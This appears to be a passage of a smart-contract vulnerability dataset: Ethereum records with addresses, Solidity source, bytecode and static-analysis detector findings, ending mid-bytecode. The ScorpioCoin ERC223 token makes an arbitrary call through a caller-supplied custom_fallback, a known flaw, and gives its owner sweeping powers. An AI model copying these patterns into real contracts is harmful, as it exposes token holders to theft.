5945050505050565b60006104a183836002806107ad565b7373353801921417f465377c8d898c6f4c0270282c81565b600060015b60018351038160ff1611610a035760026109dd6001607f1b856001850360ff16815181106109cf57fe5b602002602001015102610d0d565b6109f46001607f1b868560ff16815181106109cf57fe5b030a91909101906001016109a5565b50610a25610a1d60018451038381610a1757fe5b04610da2565b60fc02610da2565b67b504f333f9de6484670de0b6b3a76400009091020492915050565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b60008060007373353801921417f465377c8d898c6f4c0270282c6001600160a01b031663a75d39c287886001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610abb57600080fd5b505afa158015610acf573d6000803e3d6000fd5b505050506040513d6020811015610ae557600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039384166004820152600a9290920a6024830152918916604482015290516064808301926020929190829003018186803b158015610b4057600080fd5b505afa158015610b54573d6000803e3d6000fd5b505050506040513d6020811015610b6a57600080fd5b50519050610b7b8686868480610460565b9250925050935093915050565b60006107a584848460306107ad565b60006107a58484846101506107ad565b600081831415610bf657633b9aca00610bcc61016d670de0b6b3a76400008802610a17565b670de0b6b3a76400006402540be40063edba8b138702048702040281610bee57fe5b0490506107a5565b600280850a046ec097ce7bc90715b34b9f1000000000600061016d670de0b6b3a7640000840283900489020490506000633b9aca00610c4161016d670de0b6b3a76400008c02610a17565b890281610c4a57fe5b04905060006001607f1b610c6c888a6001607f1b0281610c6657fe5b04610dd9565b670de0b6b3a76400000281610c7d57fe5b04905081838201670de0b6b3a76400000281610c9557fe5b0490508181036000610cb6670de0b6b3a76400006001607f1b850204610e69565b90506000610cd3670de0b6b3a76400006001607f1b850205610f36565b9050655af3107a40008a820204655af3107a40008c840204039d9c50505050505050505050505050565b60006104a18383600260306107ad565b600080600160801b8310610d3e576000610d2d6001607f1b855b04611015565b60ff1693841c936001607f1b029150505b6001607f1b831115610d8c57607f5b60ff811615610d8a576001607f1b848002049350600160801b8410610d8157600193841c9360ff6000198301161b91909101905b60001901610d4d565b505b6402540be40063b36d883582025b049392505050565b80600260018201045b81811015610dd357809150600281828581610dc257fe5b040181610dcb57fe5b049050610dab565b50919050565b600080600160801b8310610e08576000610df76001607f1b85610d27565b60ff1693841c936001607f1b029150505b6001607f1b831115610e5657607f5b60ff811615610e54576001607f1b848002049350600160801b8410610e4b57600193841c9360ff6000198301161b91909101905b60001901610e17565b505b6402540be40064019d25ddbe8202610d9a565b6000806001607f1b6223549b8402046298968001905060006001607f1b8460028681610e9157fe5b040281610e9a57fe5b0490506000610ea882611076565b623cdfaf607f1b81610eb657fe5b049050600083848586876578fcdaec220081610ece57fe5b05630115e6cf1901629896800281610ee257fe5b0563010fd4fc01629896800281610ef557fe5b05623668451901629896800281610f0857fe5b056230bbd7018302629896800281610f1c57fe5b059050851561097057655af3107a40000395945050505050565b6000806001607f1b610f478461141a565b6223549b0281610f5357fe5b046298968001905060006001607f1b8460028681610f6d57fe5b050281610f7657fe5b0490506000610f8482611076565b623cdfaf607f1b81610f9257fe5b049050600083848586876578fcdaec220081610faa57fe5b05630115e6cf1901629896800281610fbe57fe5b0563010fd4fc01629896800281610fd157fe5b05623668451901629896800281610fe457fe5b056230bbd7018302629896800281610ff857fe5b059050600086131561097057655af3107a40000395945050505050565b60008061010083101561103d575b600183111561103857600192831c9201611023565b6104a4565b60805b60ff81161561106f57600160ff82161b84106110645760ff81169390931c92908117905b60011c607f16611040565b5092915050565b6000670168244fdac780006001607f1b6f0fffffffffffffffffffffffffffffff84168080028290048082028390048083028490049485026710e1b3be415a00009092026705a0913f6b1e000091909102010192909181830204905080664807432bc1800002830192506001607f1b828202816110ef57fe5b04905080660c0135dca0400002830192506001607f1b8282028161110f57fe5b049050806601b707b1cdc00002830192506001607f1b8282028161112f57fe5b049050806536e0f639b80002830192506001607f1b8282028161114e57fe5b04905080650618fee9f80002830192506001607f1b8282028161116d57fe5b04905080649c197dcc0002830192506001607f1b8282028161118b57fe5b04905080640e30dce40002830192506001607f1b828202816111a957fe5b0490508064012ebd130002830192506001607f1b828202816111c757fe5b049050806317499f0002830192506001607f1b828202816111e457fe5b049050806301a9d48002830192506001607f1b8282028161120157fe5b04905080621c638002830192506001607f1b8282028161121d57fe5b049050806201c63802830192506001607f1b8282028161123957fe5b04905080611ab802830192506001607f1b8282028161125457fe5b0490508061017c02830192506001607f1b8282028161126f57fe5b04905080601402830192506001607f1b8282028161128957fe5b6721c3677c82b400009190049384010482016001607f1b019290506001607c1b8516156112da5770018ebef9eac820ae8682b9793ac6d1e7767001c3d6a24ed82218787d624d3e5eba95f984020492505b6001607d1b851615611310577001368b2fc6f9609fe7aceb46aa619baed470018ebef9eac820ae8682b9793ac6d1e77884020492505b6001607e1b851615611345576fbc5ab1b16779be3575bd8f0520a9f21f7001368b2fc6f9609fe7aceb46aa619baed584020492505b6001607f1b851615611379576f454aaa8efe072e7f6ddbab84b40a55c96fbc5ab1b16779be3575bd8f0520a9f21e84020492505b600160801b8516156113ad576f0960aadc109e7a3bf4578099615711ea6f454aaa8efe072e7f6ddbab84b40a55c584020492505b600160811b8516156113e0576e2bf84208204f5977f9a8cf01fdce3d6f0960aadc109e7a3bf4578099615711d784020492505b600160821b851615611411576d03c6ab775dd0b95b4cbee7e65d116e2bf84208204f5977f9a8cf01fdc30784020492505b50909392505050565b600080821261142957816104a4565b506000039056fea2646970667358221220190a209b2ea097881ae0e4830e48255ce314855e17505eaa047bbb8093f74e6864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,273
0x94115149a0355a06c7a5a2635134b3885413b236
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } // Author: Eugenio Noyola Leon www.k3no.com contract RedFundToken is MintableToken { string public name = "RED FUND TOKEN"; string public symbol = "REDF"; uint8 public decimals = 18; }
0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b81146100ea57806306fdde0314610113578063095ea7b31461019d57806318160ddd146101c157806323b872dd146101e8578063313ce5671461021257806340c10f191461023d578063661884631461026157806370a08231146102855780637d64bcb4146102a65780638da5cb5b146102bb57806395d89b41146102ec578063a9059cbb14610301578063d73dd62314610325578063dd62ed3e14610349578063f2fde38b14610370575b600080fd5b3480156100f657600080fd5b506100ff610393565b604080519115158252519081900360200190f35b34801561011f57600080fd5b506101286103b4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561016257818101518382015260200161014a565b50505050905090810190601f16801561018f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101a957600080fd5b506100ff600160a060020a0360043516602435610442565b3480156101cd57600080fd5b506101d66104ac565b60408051918252519081900360200190f35b3480156101f457600080fd5b506100ff600160a060020a03600435811690602435166044356104b2565b34801561021e57600080fd5b50610227610634565b6040805160ff9092168252519081900360200190f35b34801561024957600080fd5b506100ff600160a060020a036004351660243561063d565b34801561026d57600080fd5b506100ff600160a060020a036004351660243561075d565b34801561029157600080fd5b506101d6600160a060020a0360043516610856565b3480156102b257600080fd5b506100ff610871565b3480156102c757600080fd5b506102d061091b565b60408051600160a060020a039092168252519081900360200190f35b3480156102f857600080fd5b5061012861092a565b34801561030d57600080fd5b506100ff600160a060020a0360043516602435610985565b34801561033157600080fd5b506100ff600160a060020a0360043516602435610a80565b34801561035557600080fd5b506101d6600160a060020a0360043581169060243516610b22565b34801561037c57600080fd5b50610391600160a060020a0360043516610b4d565b005b60035474010000000000000000000000000000000000000000900460ff1681565b6004805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561043a5780601f1061040f5761010080835404028352916020019161043a565b820191906000526020600020905b81548152906001019060200180831161041d57829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60005481565b6000600160a060020a03831615156104c957600080fd5b600160a060020a0384166000908152600160205260409020548211156104ee57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561052157600080fd5b600160a060020a03841660009081526001602052604090205461054a908363ffffffff610be616565b600160a060020a03808616600090815260016020526040808220939093559085168152205461057f908363ffffffff610bf816565b600160a060020a038085166000908152600160209081526040808320949094558783168252600281528382203390931682529190915220546105c7908363ffffffff610be616565b600160a060020a038086166000818152600260209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60065460ff1681565b60035460009033600160a060020a0390811691161461065b57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561068357600080fd5b600054610696908363ffffffff610bf816565b6000908155600160a060020a0384168152600160205260409020546106c1908363ffffffff610bf816565b600160a060020a038416600081815260016020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156107ba57600160a060020a0333811660009081526002602090815260408083209388168352929052908120556107f1565b6107ca818463ffffffff610be616565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902054825190815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060019392505050565b600160a060020a031660009081526001602052604090205490565b60035460009033600160a060020a0390811691161461088f57600080fd5b60035474010000000000000000000000000000000000000000900460ff16156108b757600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561043a5780601f1061040f5761010080835404028352916020019161043a565b6000600160a060020a038316151561099c57600080fd5b600160a060020a0333166000908152600160205260409020548211156109c157600080fd5b600160a060020a0333166000908152600160205260409020546109ea908363ffffffff610be616565b600160a060020a033381166000908152600160205260408082209390935590851681522054610a1f908363ffffffff610bf816565b600160a060020a038085166000818152600160209081526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610ab8908363ffffffff610bf816565b600160a060020a0333811660008181526002602090815260408083209489168084529482529182902085905581519485529051929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610b6857600080fd5b600160a060020a0381161515610b7d57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610bf257fe5b50900390565b600082820183811015610c0757fe5b93925050505600a165627a7a723058208a88ab439ef965730e52fbb52d7405f74db43cafc3459b5c1c910aaa219cf3f80029
{"success": true, "error": null, "results": {}}
7,274
0xa4d16e0a537f30c6c35bde0df23d7b188682582e
pragma solidity ^0.4.20; //http://scorpio.network/ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { function balanceOf(address who) public view returns (uint); function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed burner, uint256 value); } contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ScorpioCoin is ERC223 { using SafeMath for uint256; using SafeMath for uint; address public owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public blacklist; uint256 public etherGet=60000; uint256 internal EthLevel=1e18; uint256 internal EthValueBase=1e18; mapping (address => uint256) public lockTime; address public target; string internal Name= "ScorpioCoin"; string internal Symbol = "SPC"; uint8 internal Decimals= 18; uint256 internal Total= 2000000000e18; uint256 public officalHolding = Total.mul(50).div(100); uint256 public totalRemaining = Total; uint256 public totalDistributed = 0; bool public canTransfer = true; uint256 internal Proportion1=20; uint256 internal Proportion2=25; uint256 internal Proportion1EthBase=5; uint256 internal Proportion2EthBase=50; bool public endPreSale=false; bool public distributionFinished = false; bool public endEthGet = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier canTrans() { require(canTransfer == true); _; } modifier onlyWhitelist() { require(blacklist[msg.sender] == false); _; } modifier notLockTrans() { require(now>lockTime[msg.sender]); _; } function ScorpioCoin (address _target) public { owner = msg.sender; target = _target; distr(target, officalHolding); } // Function to access name of token . function name() public view returns (string _name) { return Name; } // Function to access symbol of token . function symbol() public view returns (string _symbol) { return Symbol; } // Function to access decimals of token . function decimals() public view returns (uint8 _decimals) { return Decimals; } // Function to access total supply of tokens . function totalSupply() public view returns (uint256 _totalSupply) { return Total; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) canTrans notLockTrans public returns (bool success) { if(isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) canTrans notLockTrans public returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) canTrans notLockTrans public returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } function changeOwner(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function enableWhitelist(address[] addresses) onlyOwner public { require(addresses.length <= 255); for (uint8 i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = false; } } function disableWhitelist(address[] addresses) onlyOwner public { require(addresses.length <= 255); for (uint8 i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = true; } } function finishDistribution() onlyOwner public returns (bool) { distributionFinished = true; return true; } function startDistribution() onlyOwner public returns (bool) { distributionFinished = false; return true; } function endEthGetToken() onlyOwner public returns (bool) { endEthGet = true; return true; } function startEthGetToken() onlyOwner public returns (bool) { endEthGet = false; return true; } function EndPreSale() onlyOwner public returns (bool) { endPreSale = true; return true; } function StartPreSale() onlyOwner public returns (bool) { endPreSale = false; return true; } function startTransfer() onlyOwner public returns (bool) { canTransfer = true; return true; } function stopTransfer() onlyOwner public returns (bool) { canTransfer = false; return true; } function changeBaseValue(uint256 EthLevel_,uint256 etherGet_,uint256 Proportion1_,uint256 Proportion2_,uint256 Proportion1EthBase_,uint256 Proportion2EthBase_) onlyOwner public returns (bool) { EthLevel=EthLevel_; etherGet=etherGet_; Proportion1=Proportion1_; Proportion2=Proportion2_; Proportion1EthBase=Proportion1EthBase_; Proportion2EthBase=Proportion2EthBase_; return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { require(totalRemaining >= 0); require(_amount<=totalRemaining); totalDistributed = totalDistributed.add(_amount); totalRemaining = totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(address(0), _to, _amount); return true; } function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public { require(addresses.length <= 255); require(amount <= totalRemaining); for (uint8 i = 0; i < addresses.length; i++) { require(amount <= totalRemaining); distr(addresses[i], amount); } if (totalDistributed >= Total) { distributionFinished = true; } } function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { require(amounts[i] <= totalRemaining); distr(addresses[i], amounts[i]); if (totalDistributed >= Total) { distributionFinished = true; } } } function () external payable { getTokens(); } function getTokens() payable canDistr onlyWhitelist public { address sender = msg.sender; uint256 etherValue=msg.value; uint256 value; uint256 tempvalue; require(endEthGet==false); if(endPreSale==false){ if(etherValue>=Proportion2EthBase.mul(EthValueBase)){ value=etherValue.mul(etherGet); value=value+value.mul(Proportion2).div(100); }else if(etherValue>=Proportion1EthBase.mul(EthValueBase)){ value=etherValue.mul(etherGet); value=value+value.mul(Proportion1).div(100); }else{ revert(); } }else{ require(etherValue>=EthLevel); value=etherValue.mul(etherGet); } require(value <= totalRemaining); if(!owner.send(etherValue))revert(); distr(sender, value); if (totalDistributed >= Total) { endEthGet=true; distributionFinished = true; } } function transferFrom(address _from, address _to, uint256 _value) canTrans public returns (bool success) { require(_to != address(0) && _value > 0 && balances[_from] >= _value && allowed[_from][msg.sender] >= _value && blacklist[_from] == false && blacklist[_to] == false); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint256){ ForeignToken t = ForeignToken(tokenAddress); uint256 bal = t.balanceOf(who); return bal; } function withdraw(address receiveAddress) onlyOwner public { uint256 etherBalance = this.balance; if(!receiveAddress.send(etherBalance))revert(); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); Total = Total.sub(_value); totalDistributed = totalDistributed.sub(_value); Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0x606060405260043610610204576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461020e578063095ea7b31461029c57806318160ddd146102f657806323b872dd1461031f578063313ce5671461039857806342966c68146103c7578063502dadb0146103ea57806351cff8d91461044457806359d27be81461047d57806370a08231146104aa578063829c3428146104f75780638da5cb5b1461052457806395d89b41146105795780639aac9e91146106075780639b1cbccc146106345780639c09c83514610661578063a4beda63146106bb578063a6f9dae114610708578063a8c310d514610741578063a9059cbb146107db578063aa6ca80814610835578063b01afdab1461083f578063b92cd8f1146108a7578063be45fd62146108d0578063c108d5421461096d578063c489744b1461099a578063d4b8399214610a06578063d75446fe14610a5b578063d83623dd14610a84578063d8a5436014610ab1578063dd62ed3e14610ada578063df68c1a214610b46578063e58fc54c14610b73578063e7f9e40814610bc4578063e850899a14610bf1578063ee889ed014610c1e578063efca2eed14610c4b578063f34186c814610c74578063f3e4877c14610ca1578063f6368f8a14610d04578063f7750bd514610de4578063f9f92be414610e11575b61020c610e62565b005b341561021957600080fd5b6102216110f0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610261578082015181840152602081019050610246565b50505050905090810190601f16801561028e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102a757600080fd5b6102dc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611198565b604051808215151515815260200191505060405180910390f35b341561030157600080fd5b61030961128a565b6040518082815260200191505060405180910390f35b341561032a57600080fd5b61037e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611294565b604051808215151515815260200191505060405180910390f35b34156103a357600080fd5b6103ab611734565b604051808260ff1660ff16815260200191505060405180910390f35b34156103d257600080fd5b6103e8600480803590602001909190505061174b565b005b34156103f557600080fd5b610442600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611916565b005b341561044f57600080fd5b61047b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a18565b005b341561048857600080fd5b610490611ad3565b604051808215151515815260200191505060405180910390f35b34156104b557600080fd5b6104e1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b52565b6040518082815260200191505060405180910390f35b341561050257600080fd5b61050a611b9b565b604051808215151515815260200191505060405180910390f35b341561052f57600080fd5b610537611c1a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058457600080fd5b61058c611c3f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105cc5780820151818401526020810190506105b1565b50505050905090810190601f1680156105f95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561061257600080fd5b61061a611ce7565b604051808215151515815260200191505060405180910390f35b341561063f57600080fd5b610647611d66565b604051808215151515815260200191505060405180910390f35b341561066c57600080fd5b6106b960048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201